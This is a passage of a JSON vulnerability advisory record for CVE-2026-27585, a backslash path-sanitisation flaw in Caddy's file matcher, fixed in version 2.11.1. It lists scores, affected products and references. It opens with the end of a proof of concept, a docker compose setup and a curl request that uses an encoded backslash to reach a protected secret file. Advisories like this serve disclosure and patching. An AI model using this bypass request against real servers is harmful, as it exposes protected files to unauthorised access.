./secret:/srv/secret:ro\n nginx:\n # nginx@sha256:341bf0f3ce6c5277d6002cf6e1fb0319fa4252add24ab6a0e262e0056d313208\n image: nginx:latest\n volumes:\n - ./nginx.conf:/etc/nginx/nginx.conf:ro\n ports:\n - \"8000:80\" \nEOF\n\ndocker compose up -d\ncurl 'localhost:8000/secre%5ct/secret.txt'\n```\n\n### Impact\n\nThis vulnerability may allow an attacker to bypass security protections. It affects users with specific Caddy and environment configurations.\n\n### AI Usage\n\nAn LLM was used to polish this report.", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-4xrr-hq4w-6vf4.json?alt=media" }, { "category": "description", "text": "Caddy is an extensible server platform that uses TLS by default. Prior to version 2.11.1, the path sanitization routine in file matcher doesn't sanitize backslashes which can lead to bypassing path related security protections. It affects users with specific Caddy and environment configurations. Version 2.11.1 fixes the issue.", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-27585.json?alt=media" }, { "category": "description", "text": "Caddy is an extensible server platform that uses TLS by default. Prior to version 2.11.1, the path sanitization routine in file matcher doesn't sanitize backslashes which can lead to bypassing path related security protections. It affects users with specific Caddy and environment configurations. Version 2.11.1 fixes the issue.", "title": "debian - https://security-tracker.debian.org/tracker/CVE-2026-27585" }, { "category": "description", "text": "Improper sanitization of glob characters in github.com/caddyserver/caddy/v2", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4535.json?alt=media" }, { "category": "description", "text": "The path sanitization in [file matcher](https://github.com/caddyserver/caddy/blob/68d50020eef0d4c3398b878f17c8092ca5b58ca0/modules/caddyhttp/fileserver/matcher.go#L361) doesn't sanitize backslashes which can lead to bypassing path related security protections.", "title": "gitlab - https://gitlab.com/api/v4/projects/25847700/repository/files/go%2Fgithub.com%2Fcaddyserver%2Fcaddy%2Fv2%2FCVE-2026-27585.yml/raw" }, { "category": "description", "text": "The path sanitization in [file matcher](https://github.com/caddyserver/caddy/blob/68d50020eef0d4c3398b878f17c8092ca5b58ca0/modules/caddyhttp/fileserver/matcher.go#L361) doesn't sanitize backslashes which can lead to bypassing path related security protections.", "title": "gitlab - https://gitlab.com/api/v4/projects/25847700/repository/files/go%2Fgithub.com%2Fcaddyserver%2Fcaddy%2Fv2%2Fmodules%2Fcaddyhttp%2Ffileserver%2FCVE-2026-27585.yml/raw" }, { "category": "other", "text": "0.00096", "title": "EPSS" }, { "category": "other", "text": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P", "title": "CVSSV4" }, { "category": "other", "text": "6.9", "title": "CVSSV4 base score" }, { "category": "other", "text": "3.8", "title": "NCSC Score" }, { "category": "other", "text": "Is related to (a version of) an uncommon product, The value of the most recent EPSS score, There is exploit data available from source Nvd", "title": "NCSC Score top decreasing factors" } ], "product_status": { "fixed": [ "CSAFPID-5918973", "CSAFPID-5918977" ], "known_affected": [ "CSAFPID-5688699", "CSAFPID-5700114", "CSAFPID-4034332", "CSAFPID-4034342", "CSAFPID-4034343", "CSAFPID-4034344", "CSAFPID-4034345", "CSAFPID-4034346", "CSAFPID-4034347", "CSAFPID-4034348", "CSAFPID-4034349", "CSAFPID-4034350", "CSAFPID-4034351", "CSAFPID-4034352", "CSAFPID-4034353", "CSAFPID-4034354", "CSAFPID-4034355", "CSAFPID-4034356", "CSAFPID-4034357", "CSAFPID-4034358", "CSAFPID-4034359", "CSAFPID-4034360", "CSAFPID-4034361", "CSAFPID-4034362", "CSAFPID-4034363", "CSAFPID-4034364", "CSAFPID-4034378", "CSAFPID-4034379", "CSAFPID-4034380", "CSAFPID-4034387", "CSAFPID-4034396", "CSAFPID-4034400", "CSAFPID-4034401", "CSAFPID-4034402", "CSAFPID-4034407", "CSAFPID-4034411", "CSAFPID-4034417", "CSAFPID-4034418", "CSAFPID-4034419", "CSAFPID-4034420", "CSAFPID-4034435", "CSAFPID-4034436", "CSAFPID-4034437", "CSAFPID-4034438", "CSAFPID-4034441", "CSAFPID-4034447", "CSAFPID-4034448", "CSAFPID-4034449", "CSAFPID-4034450", "CSAFPID-4034451", "CSAFPID-4034455", "CSAFPID-4034456", "CSAFPID-4034457", "CSAFPID-4034464", "CSAFPID-4034465", "CSAFPID-4034466", "CSAFPID-4034467", "CSAFPID-4034468", "CSAFPID-4034469", "CSAFPID-4034470", "CSAFPID-4034471", "CSAFPID-4034472", "CSAFPID-4034473", "CSAFPID-4034474", "CSAFPID-4034475", "CSAFPID-4034476", "CSAFPID-4034477", "CSAFPID-4034478", "CSAFPID-4034479", "CSAFPID-4034480", "CSAFPID-4034481", "CSAFPID-4034482", "CSAFPID-5700154", "CSAFPID-5700155", "CSAFPID-5700156", "CSAFPID-5700157", "CSAFPID-5700158", "CSAFPID-5700159", "CSAFPID-5700160", "CSAFPID-5700161", "CSAFPID-5700162", "CSAFPID-5700163", "CSAFPID-5700164", "CSAFPID-5700165", "CSAFPID-5700166", "CSAFPID-5700167", "CSAFPID-5700168", "CSAFPID-5700169", "CSAFPID-5700170", "CSAFPID-5700171", "CSAFPID-5700172", "CSAFPID-5700173", "CSAFPID-5700174", "CSAFPID-5700175", "CSAFPID-5700176", "CSAFPID-5700177", "CSAFPID-5700549", "CSAFPID-5918974", "CSAFPID-5918978" ] }, "references": [ { "category": "external", "summary": "Source - cveprojectv5", "url": "https://www.cve.org/CVERecord?id=CVE-2026-27585" }, { "category": "external", "summary": "Source raw - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/27xxx/CVE-2026-27585.json" }, { "category": "external", "summary": "Source - nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27585" }, { "category": "external", "summary": "Source raw - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-27585" }, { "category": "external", "summary": "Source - github", "url": "https://github.com/advisories/GHSA-4xrr-hq4w-6vf4" }, { "category": "external", "summary": "Source raw - github", "url": "https://api.github.com/advisories/GHSA-4xrr-hq4w-6vf4" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-4xrr-hq4w-6vf4.json?alt=media" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-27585.json?alt=media" }, { "category": "external", "summary": "Source - debian", "url": "https://security-tracker.debian.org/tracker/CVE-2026-27585" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-27585" }, { "category": "external", "summary": "Source raw - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4535.json?alt=media" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - gitlab", "url": "https://gitlab.com/api/v4/projects/25847700/repository/files/go%2Fgithub.com%2Fcaddyserver%2Fcaddy%2Fv2%2FCVE-2026-27585.yml/raw" }, { "category": "external", "summary": "Source - gitlab", "url": "https://gitlab.com/api/v4/projects/25847700/repository/files/go%2Fgithub.com%2Fcaddyserver%2Fcaddy%2Fv2%2Fmodules%2Fcaddyhttp%2Ffileserver%2FCVE-2026-27585.yml/raw" }, { "category": "external", "summary": "Reference - cveprojectv5; github; gitlab; nvd; osv", "url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-4xrr-hq4w-6vf4" }, { "category": "external", "summary": "Reference - cveprojectv5; github; gitlab; nvd; osv", "url": "https://github.com/caddyserver/caddy/blob/68d50020eef0d4c3398b878f17c8092ca5b58ca0/modules/caddyhttp/fileserver/matcher.go#L361" }, { "category": "external", "summary": "Reference - cveprojectv5; github; gitlab; nvd; osv", "url": "https://github.com/caddyserver/caddy/blob/68d50020eef0d4c3398b878f17c8092ca5b58ca0/modules/caddyhttp/fileserver/matcher.go#L398" }, { "category": "external", "summary": "Reference - cveprojectv5; github; gitlab; nvd; osv", "url": "https://github.com/caddyserver/caddy/releases/tag/v2.11.1" }, { "category": "external", "summary": "Reference - github; gitlab; osv", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27585" }, { "category": "external", "summary": "Reference - github; gitlab; osv", "url": "https://caddyserver.com/docs/caddyfile/directives#directive-order" }, { "category": "external", "summary": "Reference - github; gitlab", "url": "https://github.com/advisories/GHSA-4xrr-hq4w-6vf4" }, { "category": "external", "summary": "Reference - osv", "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/27xxx/CVE-2026-27585.json" }, { "category": "external", "summary": "Reference - github; gitlab; osv", "url": "https://pkg.go.dev/vuln/GO-2026-4535" }, { "category": "external", "summary": "Reference - gitlab", "url": "https://github.com/caddyserver/caddy" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH" }, "products": [ "CSAFPID-4034332", "CSAFPID-4034342", "CSAFPID-4034343", "CSAFPID-4034344", "CSAFPID-4034345", "CSAFPID-4034346", "CSAFPID-4034347", "CSAFPID-4034348", "CSAFPID-4034349", "CSAFPID-4034350", "CSAFPID-4034351", "CSAFPID-4034352", "CSAFPID-4034353", "CSAFPID-4034354", "CSAFPID-4034355", "CSAFPID-4034356", "CSAFPID-4034357", "CSAFPID-4034358", "CSAFPID-4034359", "CSAFPID-4034360", "CSAFPID-4034361", "CSAFPID-4034362", "CSAFPID-4034363", "CSAFPID-4034364", "CSAFPID-4034378", "CSAFPID-4034379", "CSAFPID-4034380", "CSAFPID-4034387", "CSAFPID-4034396", "CSAFPID-4034400", "CSAFPID-4034401", "CSAFPID-4034402", "CSAFPID-4034407", "CSAFPID-4034411", "CSAFPID-4034417", "CSAFPID-4034418", "CSAFPID-4034419", "CSAFPID-4034420", "CSAFPID-4034435", "CSAFPID-4034436", "CSAFPID-4034437", "CSAFPID-4034438", "CSAFPID-4034441", "CSAFPID-4034447", "CSAFPID-4034448", "CSAFPID-4034449", "CSAFPID-4034450", "CSAFPID-4034451", "CSAFPID-4034455", "CSAFPID-4034456", "CSAFPID-4034457", "CSAFPID-4034464", "CSAFPID-4034465", "CSAFPID-4034466", "CSAFPID-4034467", "CSAFPID-4034468", "CSAFPID-4034469", "CSAFPID-4034470", "CSAFPID-4034471", "CSAFPID-4034472", "CSAFPID-4034473", "CSAFPID-4034474", "CSAFPID-4034475", "CSAFPID-4034476", "CSAFPID-4034477", "CSAFPID-4034478", "CSAFPID-4034479", "CSAFPID-4034480", "CSAFPID-4034481", "CSAFPID-4034482", "CSAFPID-5688699", "CSAFPID-5700114", "CSAFPID-5700154", "CSAFPID-5700155", "CSAFPID-5700156", "CSAFPID-5700157", "CSAFPID-5700158", "CSAFPID-5700159", "CSAFPID-5700160", "CSAFPID-5700161", "CSAFPID-5700162", "CSAFPID-5700163", "CSAFPID-5700164", "CSAFPID-5700165", "CSAFPID-5700166", "CSAFPID-5700167", "CSAFPID-5700168", "CSAFPID-5700169", "CSAFPID-5700170", "CSAFPID-5700171", "CSAFPID-5700172", "CSAFPID-5700173", "CSAFPID-5700174", "CSAFPID-5700175", "CSAFPID-5700176", "CSAFPID-5700177", "CSAFPID-5700549", "CSAFPID-5918974", "CSAFPID-5918978" ] } ], "title": "CVE-2026-27585" } ] }